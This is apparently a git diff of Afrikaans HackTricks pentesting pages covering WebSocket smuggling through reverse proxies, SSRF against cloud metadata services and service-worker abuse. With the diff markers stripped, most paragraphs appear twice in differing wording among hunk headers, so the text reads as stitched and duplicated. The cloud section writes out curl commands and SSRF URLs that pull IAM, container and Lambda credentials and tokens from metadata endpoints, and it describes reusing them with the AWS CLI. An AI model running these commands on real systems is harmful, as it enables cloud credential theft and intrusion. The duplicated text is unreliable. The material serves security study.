Vir aanvullende inligting oor hierdie kwesbaarheid, veral met betrekking tot NGINX, verwys na [**hierdie gedetailleerde bron**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
Vir addisionele inligting oor hierdie kwesbaarheid, veral met betrekking tot NGINX, verwys na [**hierdie gedetailleerde bron**](../network-services-pentesting/pentesting-web/nginx.md#proxy\_set\_header-upgrade-and-connection).
# Websocket Smuggling
Websocket-smuggling, in teenstelling met die skep van 'n HTTP2-tunnel na 'n eindpunt wat toeganklik is via 'n proxy, vestig 'n Websocket-tunnel om potensiële beperkings van die proxy te omseil en direkte kommunikasie met die eindpunt te fasiliteer.
Websocket-smuggling, in teenstelling met die skep van 'n HTTP2-tonnel na 'n eindpunt wat toeganklik is via 'n proxy, vestig 'n Websocket-tonnel om potensiële proxy-beperkings te omseil en direkte kommunikasie met die eindpunt te fasiliteer.
## Scenario 1
In hierdie scenario word 'n agtergrond wat 'n openbare WebSocket API bied saam met 'n ontoeganklike interne REST API, geteiken deur 'n kwaadwillige kliënt wat toegang tot die interne REST API wil verkry. Die aanval ontvou in verskeie stappe:
In hierdie scenario word 'n agtergrond wat 'n openbare WebSocket API bied saam met 'n ontoeganklike interne REST API, geteiken deur 'n skadelike kliënt wat toegang soek tot die interne REST API. Die aanval ontvou in verskeie stappe:
1. Die kliënt begin deur 'n Upgrade-versoek na die omgekeerde proxy te stuur met 'n ongeldige `Sec-WebSocket-Version` protokolverse in die kop. Die proxy, wat nie die `Sec-WebSocket-Version` kop valideer nie, aanvaar dat die Upgrade-versoek geldig is en stuur dit na die agtergrond.
2. Die agtergrond reageer met 'n statuskode `426`, wat die ongeldige protokolverse in die `Sec-WebSocket-Version` kop aandui. Die omgekeerde proxy, wat die antwoordstatus van die agtergrond oorsien, aanvaar gereedheid vir WebSocket-kommunikasie en stuur die antwoord na die kliënt.
3. Gevolglik word die omgekeerde proxy mislei om te glo dat 'n WebSocket-verbinding tussen die kliënt en agtergrond tot stand gebring is, terwyl die agtergrond die Upgrade-versoek eintlik verwerp het. Ten spyte hiervan handhaaf die proxy 'n oop TCP- of TLS-verbinding tussen die kliënt en agtergrond, wat die kliënt onbeperkte toegang tot die private REST API deur hierdie verbinding moontlik maak.
1. Die kliënt begin deur 'n Opgraderingsversoek na die omgekeerde proxy te stuur met 'n onkorrekte `Sec-WebSocket-Version` protokolweergawe in die kop. Die proxy, wat nie die `Sec-WebSocket-Version` kop valideer nie, glo dat die Opgraderingsversoek geldig is en stuur dit na die agtergrond.
2. Die agtergrond reageer met 'n statuskode `426`, wat die onkorrekte protokolweergawe in die `Sec-WebSocket-Version` kop aandui. Die omgekeerde proxy, wat die status van die agtergrond se reaksie oorsien, aanvaar gereedskap vir Websocket-kommunikasie en stuur die reaksie na die kliënt.
3. Gevolglik word die omgekeerde proxy mislei om te glo dat 'n Websocket-verbinding tussen die kliënt en agtergrond tot stand gebring is, terwyl die agtergrond in werklikheid die Opgraderingsversoek verwerp het. Ten spyte hiervan handhaaf die proxy 'n oop TCP- of TLS-verbinding tussen die kliënt en agtergrond, wat die kliënt onbeperkte toegang tot die private REST API deur hierdie verbinding bied.
Kwesbare omgekeerde proksies sluit Varnish in, wat geweier het om die probleem aan te spreek, en Envoy proxy weergawe 1.8.0 of ouer, met latere weergawes wat die opgraderingsmeganisme verander het. Ander proksies mag ook vatbaar wees.
Geraakte omgekeerde proksi's sluit Varnish in, wat geweier het om die probleem aan te spreek, en Envoy proxy weergawe 1.8.0 of ouer, met latere weergawes wat die opgraderingsmeganisme verander het. Ander proksi's kan ook vatbaar wees.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/2-4.png)
@ -75,15 +79,39 @@ Kwesbare omgekeerde proksies sluit Varnish in, wat geweier het om die probleem a
Hierdie scenario behels 'n agtergrond met beide 'n openbare WebSocket API en 'n openbare REST API vir gesondheidskontrole, saam met 'n ontoeganklike interne REST API. Die aanval, meer kompleks, behels die volgende stappe:
1. Die kliënt stuur 'n POST-versoek om die gesondheidskontrole-API te aktiveer, met 'n bykomende HTTP-kop `Upgrade: websocket`. NGINX, wat as die omgekeerde proxy dien, interpreteer dit as 'n standaard Upgrade-versoek gebaseer op slegs die `Upgrade`-kop, en ignoreer die ander aspekte van die versoek, en stuur dit na die agtergrond.
2. Die agtergrond voer die gesondheidskontrole-API uit en maak kontak met 'n eksterne hulpbron wat deur die aanvaller beheer word en 'n HTTP-antwoord met statuskode `101` terugstuur. Hierdie antwoord, sodra dit deur die agtergrond ontvang en na NGINX gestuur word, mislei die proxy om te dink dat 'n WebSocket-verbinding tot stand gebring is as gevolg van sy validasie van slegs die statuskode.
1. Die kliënt stuur 'n POST-versoek om die gesondheidskontrole-API te aktiveer, met 'n bykomende HTTP-kop `Upgrade: websocket`. NGINX, as omgekeerde proxy, interpreteer dit as 'n standaard Opgraderingsversoek gebaseer op slegs die `Upgrade`-kop, wat die versoek se ander aspekte ignoreer, en stuur dit na die agtergrond.
2. Die agtergrond voer die gesondheidskontrole-API uit, wat uitreik na 'n eksterne hulpbron wat deur die aanvaller beheer word en 'n HTTP-reaksie met statuskode `101` terugstuur. Hierdie reaksie, sodra dit deur die agtergrond ontvang en na NGINX gestuur word, mislei die proxy om te dink dat 'n Websocket-verbinding tot stand gebring is as gevolg van sy validasie van slegs die statuskode.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-4.png)
> **Waarskuwing:** Die kompleksiteit van hierdie tegniek neem toe omdat dit die vermoë vereis om met 'n eindpunt te kommunikeer wat 'n statuskode 101 kan terugstuur.
> **Waarskuwing:** Die kompleksiteit van hierdie tegniek neem toe omdat dit die vermoë vereis om met 'n eindpunt te interaksieer wat in staat is om 'n statuskode 101 terug te stuur.
Uiteindelik word NGINX mislei om te glo dat 'n WebSocket-verbinding tussen die kliënt en die agtergrond bestaan. In werklikheid bestaan geen sodanige verbinding nie; die gesondheidskontrole REST API was die teiken. Nietemin handhaaf die omgekeerde proxy die verbinding oop, wat die kliënt in staat stel om die private REST API daardeur te benader.
Uiteindelik word NGINX mislei om te glo dat 'n Websocket-verbinding tussen die kliënt en die agtergrond bestaan. In werklikheid bestaan daar geen sodanige verbinding nie; die gesondheidskontrole REST API was die teiken. Nietemin, die omgekeerde proxy handhaaf die verbinding oop, wat die kliënt in staat stel om toegang tot die private REST API daardeur te verkry.
![https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png](https://github.com/0ang3el/websocket-smuggle/raw/master/img/3-5.png)
Die meeste omgekeerde proksies is vatbaar vir hierdie scenario, maar
Die meeste omgekeerde proksi's is vatbaar vir hierdie scenario, maar die uitbuiting is afhanklik van die teenwoordigheid van 'n eksterne SSRF-kwesbaarheid, wat gewoonlik as 'n lae-sekuriteitskwessie beskou word.
### Laboratoriums
Kyk na die laboratoriums om beide scenario's te toets in [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
## Verwysings
* [https://blog.assetnote.io/2021/03/18/h2c-smuggling/](https://blog.assetnote.io/2021/03/18/h2c-smuggling/)
* [https://bishopfox.com/blog/h2c-smuggling-request](https://bishopfox.com/blog/h2c-smuggling-request)
* [https://github.com/0ang3el/websocket-smuggle.git](https://github.com/0ang3el/websocket-smuggle.git)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -6,32 +6,24 @@
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder spoor jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologiestapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) vandag.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## AWS
### Misbruik van SSRF in die AWS EC2-omgewing
**Die metadata** eindpunt kan van binne enige EC2-masjien benader word en bied interessante inligting daaroor. Dit is toeganklik in die url: `http://169.254.169.254` ([inligting oor die metadata hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
Daar is **2 weergawes** van die metadata-eindpunt. Die **eerste** een maak dit moontlik om die eindpunt via **GET**-versoeke te **benader** (sodat enige **SSRF dit kan uitbuit**). Vir die **weergawe 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), moet jy vir 'n **token** vra deur 'n **PUT**-versoek met 'n **HTTP-kop** te stuur en dan daardie token gebruik om die metadata met 'n ander HTTP-kop te benader (dit is **meer ingewikkeld om te misbruik** met 'n SSRF).
Daar is **2 weergawes** van die metadata-eindpunt. Die **eerste** een maak dit moontlik om die eindpunt via **GET**-versoeke te **benader** (sodat enige **SSRF dit kan misbruik**). Vir die **weergawe 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), moet jy vir 'n **token** vra deur 'n **PUT**-versoek met 'n **HTTP-kop** te stuur en dan daardie token gebruik om die metadata met 'n ander HTTP-kop te benader (dit is **meer ingewikkeld om te misbruik** met 'n SSRF).
{% hint style="danger" %}
Let daarop dat as die EC2-instansie IMDSv2 afdwing, [**volgens die dokumente**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), sal die **antwoord van die PUT-versoek 'n hop-limiet van 1**, wat dit onmoontlik maak om die EC2-metadata vanuit 'n houer binne die EC2-instansie te benader.
Let daarop dat as die EC2-instansie IMDSv2 afdwing, [**volgens die dokumente**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), sal die **antwoord van die PUT-versoek 'n hop-limiet van 1**, wat dit onmoontlik maak om die EC2-metadata van 'n houer binne die EC2-instansie te benader.
Verder sal **IMDSv2** ook **versoeke blokkeer om 'n token te haal wat die `X-Forwarded-For`-kop insluit**. Dit is om te voorkom dat verkeerd gekonfigureerde omgekeerde proksi's daartoe in staat is om dit te benader.
{% endhint %}
@ -98,9 +90,9 @@ eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance";
```
As 'n **openbare beskikbare IAM-legitimasie** blootgestelde voorbeeld kan jy besoek: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
Jy kan ook openbare **EC2-sekuriteitslegitimasie** in sien: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Jy kan ook openbare **EC2-sekuriteitslegitimasie** in: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
Jy kan dan **daardie legitimasie neem en dit met die AWS CLI gebruik**. Dit sal jou in staat stel om **enigiets te doen wat daardie rol toestemming het om te doen**.
Jy kan dan **daardie legitimasie gebruik met die AWS CLI**. Dit sal jou in staat stel om **enigiets te doen wat daardie rol toestemming het** om te doen.
Om voordeel te trek uit die nuwe legitimasie, sal jy 'n nuwe AWS-profiel moet skep soos hierdie:
```
@ -124,7 +116,7 @@ Die genoemde http-adres behoort jou die **AccessKey, SecretKey en token** te gee
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -
```
{% hint style="info" %}
Let wel dat in **sekere gevalle** jy die toegang tot die **EC2 metadata-instansie** vanaf die houer kan kry (kontroleer IMDSv2 TTL-beperkings wat vroeër genoem is). In hierdie scenario's kan jy vanaf die houer beide die houer IAM rol en die EC2 IAM rol benader.
Let wel dat in **sekere gevalle** jy die toegang tot die **EC2 metadata-instansie** vanaf die houer kan kry (kontroleer IMDSv2 TTL-beperkings wat vroeër genoem is). In hierdie scenario's kan jy vanaf die houer beide die houer IAM rol en die EC2 IAM rol bereik.
{% endhint %}
### SSRF vir AWS Lambda <a href="#id-6f97" id="id-6f97"></a>
@ -140,7 +132,7 @@ Die **naam** van die **interessante omgewingsveranderlikes** is:
Daarbenewens het Lambda-funksies, bo en behalwe IAM-geloofsbriewe, ook **gebeurtenisdata wat aan die funksie oorgedra word wanneer dit begin**. Hierdie data word beskikbaar gestel aan die funksie via die [runtime-interface](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) en kan **sensitiewe inligting** bevat (soos binne die **stageVariables**). Anders as IAM-geloofsbriewe is hierdie data toeganklik oor standaard SSRF by **`http://localhost:9001/2018-06-01/runtime/invocation/next`**.
{% hint style="warning" %}
Let daarop dat **lambda-geloofsbriewe** binne die **omgewingsveranderlikes** is. As die **stapelopsporing** van die lambda-kode omgewingsveranderlikes druk, is dit moontlik om hulle te **eksfiltreer deur 'n fout in die program te veroorsaak**.
Let daarop dat **lambda-geloofsbriewe** binne die **omgewingsveranderlikes** is. As die **stapelopsporing** van die lambda-kode omgewingsveranderlikes druk, is dit moontlik om hulle te **uit te lek deur 'n fout te veroorsaak** in die program.
{% endhint %}
### SSRF-URL vir AWS Elastic Beanstalk <a href="#id-6f97" id="id-6f97"></a>
@ -164,7 +156,7 @@ Jy kan [**hier die dokumente oor metadata-eindpunte vind**](https://cloud.google
### SSRF-URL vir Google Cloud <a href="#id-6440" id="id-6440"></a>
Vereis die HTTP-kop **`Metadata-Flavor: Google`** en jy kan die metadata-eindpunt toegang met die volgende URL's:
Vereis die HTTP-kop **`Metadata-Flavor: Google`** en jy kan die metadata-eindpunt bereik met die volgende URL's:
* http://169.254.169.254
* http://metadata.google.internal
@ -249,7 +241,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
```
Beta benodig tans nie 'n kopstuk nie (dankie aan Mathias Karlsson @avlidienbrunn)
Beta benodig NIE tans 'n kopstuk nie (dankie Mathias Karlsson @avlidienbrunn)
```
http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true
@ -296,9 +288,9 @@ curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCo
```
{% endcode %}
### Wolkmeganismes <a href="#id-9f1f" id="id-9f1f"></a>
### Cloud Funksies <a href="#id-9f1f" id="id-9f1f"></a>
Die metadata-eindpunt werk dieselfde as in VM's maar sonder sommige eindpunte:
Die metadata-eindpunt werk dieselfde as in VM's, maar sonder sommige eindpunte:
```bash
# /project
# Project name and number
@ -326,7 +318,7 @@ done
## Digital Ocean <a href="#id-9f1f" id="id-9f1f"></a>
{% hint style="warning" %}
Daar is nie so iets soos AWS Rolle of GCP-diensrekening nie, so moenie verwag om metadata bot-oortjies te vind nie.
Daar is nie soos AWS Roles of GCP-diensrekening nie, so moenie verwag om metadata bot-kredensiale te vind nie.
{% endhint %}
Dokumentasie beskikbaar by [`https://developers.digitalocean.com/documentation/metadata/`](https://developers.digitalocean.com/documentation/metadata/)
@ -341,14 +333,6 @@ http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq
```
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwetsbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder spoor jou aanvalsoppervlak, hardloop proaktiewe dreigingsskanderings, vind probleme reg oor jou hele tegnologie stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) vandag.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Azure <a href="#cea8" id="cea8"></a>
### Azure VM
@ -356,7 +340,7 @@ Vind kwetsbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak.
[**Dokumente** hier](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
* **Moet** die kop `Metadata: true` bevat
* Moet **nie** 'n `X-Forwarded-For`-kop bevat
* Moet **nie** 'n `X-Forwarded-For` kop bevat nie
{% tabs %}
{% tab title="Bash" %}
@ -407,7 +391,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
Vanuit die **env** kan jy die waardes van `IDENTITY_HEADER` _en_ `IDENTITY_ENDPOINT` kry. Dit kan jy gebruik om 'n token te bekom om met die metadataserver te kommunikeer.
Meeste van die tyd, wil jy 'n token hê vir een van hierdie bronne:
Meestal wil jy 'n token vir een van hierdie bronne hê:
* [https://storage.azure.com](https://storage.azure.com/)
* [https://vault.azure.net](https://vault.azure.net/)
@ -484,7 +468,7 @@ Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResource
## IBM Cloud <a href="#id-2af0" id="id-2af0"></a>
{% hint style="warning" %}
Let wel dat in IBM standaard metadata nie geaktiveer is nie, so dit is moontlik dat jy nie daartoe toegang sal hê selfs al is jy binne 'n IBM-cloud-VM nie.
Let wel dat in IBM standaard metadata nie geaktiveer is nie, so dit is moontlik dat jy nie daartoe toegang sal hê selfs as jy binne 'n IBM-cloud-VM is nie.
{% endhint %}
{% code overflow="wrap" %}
@ -513,11 +497,11 @@ curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instanc
```
{% endcode %}
Dokumentasie vir verskeie platforms se metadata dienste word hieronder uiteengesit, wat die metodes beklemtoon waardeur konfigurasie- en tydinligting vir instansies toeganklik is. Elke platform bied unieke eindpunte om toegang te verkry tot sy metadata dienste.
Dokumentasie vir verskeie platforms se metadata dienste word hieronder uiteengesit, waar die metodes beklemtoon word deur middel waarvan konfigurasie- en uitvoerinligting vir instansies verkry kan word. Elke platform bied unieke eindpunte aan om toegang te verkry tot sy metadata dienste.
## Packetcloud
Vir toegang tot Packetcloud se metadata, kan die dokumentasie gevind word by: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
Vir toegang tot Packetcloud se metadata kan die dokumentasie gevind word by: [https://metadata.packet.net/userdata](https://metadata.packet.net/userdata)
## OpenStack/RackSpace
@ -527,7 +511,7 @@ Die noodsaaklikheid van 'n koptekst word nie genoem nie. Metadata kan verkry wor
## HP Helion
Die noodsaaklikheid van 'n koptekst word ook nie hier genoem nie. Metadata is toeganklik by:
Die noodsaaklikheid van 'n koptekst word ook hier nie genoem nie. Metadata is toeganklik by:
* `http://169.254.169.254/2009-04-04/meta-data/`
@ -557,7 +541,7 @@ Kubernetes ETCD kan API-sleutels, interne IP-adresse en poorte hou. Toegang word
## Docker
Docker metadata kan plaaslik verkry word, met voorbeelde vir die ophaling van kontainer- en beeldinligting:
Docker metadata kan plaaslik verkry word, met voorbeelde vir die terugwinning van kontainer- en beeldinligting:
* Eenvoudige voorbeeld om kontainer- en beeldmetadata te verkry via die Docker-socket:
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
@ -570,23 +554,3 @@ Docker metadata kan plaaslik verkry word, met voorbeelde vir die ophaling van ko
Rancher se metadata kan verkry word deur:
* `curl http://rancher-metadata/<version>/<path>`
<figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regmaak. Intruder spoor jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme reg oor jou hele tegnologiestapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) vandag.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -6,50 +6,42 @@
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Werk jy by 'n **cybersekuriteitsmaatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
* **Deel jou haktruuks deur PR's in te dien by die** [**hacktricks-opslag**](https://github.com/carlospolop/hacktricks) **en** [**hacktricks-cloud-opslag**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## Basiese Inligting
'n **Dienswerker** is 'n skrips wat deur jou webblaaier in die agtergrond uitgevoer word, los van enige webbladsy, en dit maak funksies moontlik wat nie 'n webbladsy of gebruikersinteraksie vereis nie, en verbeter dus die **aflyn- en agtergrondverwerking**-vermoëns. Gedetailleerde inligting oor dienswerkers is hier beskikbaar [hier](https://developers.google.com/web/fundamentals/primers/service-workers). Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffers se interaksies met alle bladsye binne daardie domein.
'n **Dienswerker** is 'n skrip wat deur jou webblaaier in die agtergrond uitgevoer word, afsonderlik van enige webbladsy, wat funksies moontlik maak wat nie 'n webbladsy of gebruikerinteraksie vereis nie, en sodoende **aflyn- en agtergrondverwerking**-vermoëns verbeter. Gedetailleerde inligting oor dienswerkers is beskikbaar [hier](https://developers.google.com/web/fundamentals/primers/service-workers). Deur dienswerkers binne 'n kwesbare webdomein te misbruik, kan aanvallers beheer verkry oor die slagoffers se interaksies met alle bladsye binne daardie domein.
### Kontroleer vir Bestaande Dienswerkers
Bestaande dienswerkers kan gekontroleer word in die **Dienswerkers**-afdeling van die **Toepassing**-tabblad in **Ontwikkelaarshulpmiddels**. 'n Ander metode is om [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) te besoek vir 'n meer gedetailleerde siening.
Bestaande dienswerkers kan nagegaan word in die **Dienswerkers**-afdeling van die **Aansoek**-tabblad in die **Ontwikkelaarhulpmiddels**. 'n Ander metode is om [chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals) te besoek vir 'n meer gedetailleerde aansig.
### Duw Kennisgewings
**Duw kennisgewings-toestemmings** het direkte invloed op 'n **dienswerker** se vermoë om met die bediener te kommunikeer sonder direkte gebruikersinteraksie. As toestemmings geweier word, beperk dit die potensiaal van die dienswerker om 'n voortdurende bedreiging te vorm. Omgekeerd verhoog die verlening van toestemmings die veiligheidsrisiko deur die ontvangs en uitvoering van potensiële aanvalle moontlik te maak.
**Duw kennisgewings-toestemmings** het direkte impak op 'n **dienswerker** se vermoë om met die bediener te kommunikeer sonder direkte gebruikerinteraksie. As toestemmings ontken word, beperk dit die dienswerker se potensiaal om 'n voortdurende bedreiging te vorm. Omgekeerd verhoog die toekenning van toestemmings die veiligheidsrisiko deur die ontvangs en uitvoering van potensiële aanvalle moontlik te maak.
## Aanval deur 'n Dienswerker te Skep
Om van hierdie kwesbaarheid misbruik te maak, moet jy vind:
Om hierdie kwesbaarheid uit te buit, moet jy vind:
* 'n Manier om arbitrêre JS-lêers na die bediener te **laai** en 'n **XSS om die dienswerker** van die gelaai JS-lêer te **laai**
* 'n **kwesbare JSONP-versoek** waar jy die uitset (met arbitrêre JS-kode) kan manipuleer en 'n **XSS** om die JSONP met 'n payload te **laai** wat 'n skadelike dienswerker sal **laai**.
* 'n Manier om **arbitrêre JS**-lêers na die bediener te **laai** en 'n **XSS om die dienswerker** van die gelaai JS-lêer te **laai**
* 'n **kwesbare JSONP-versoek** waar jy die uitset kan **manipuleer (met arbitrêre JS-kode)** en 'n **XSS** om die JSONP met 'n lading te **laai wat 'n skadelike dienswerker sal laai**.
In die volgende voorbeeld gaan ek 'n kode voorstel om 'n nuwe dienswerker te **registreer** wat na die `fetch`-gebeurtenis sal luister en sal **elke opgehaalde URL na die aanvallers se bediener stuur** (hierdie is die kode wat jy nodig sal hê om na die bediener te **laai** of te laai via 'n **kwesbare JSONP**-reaksie):
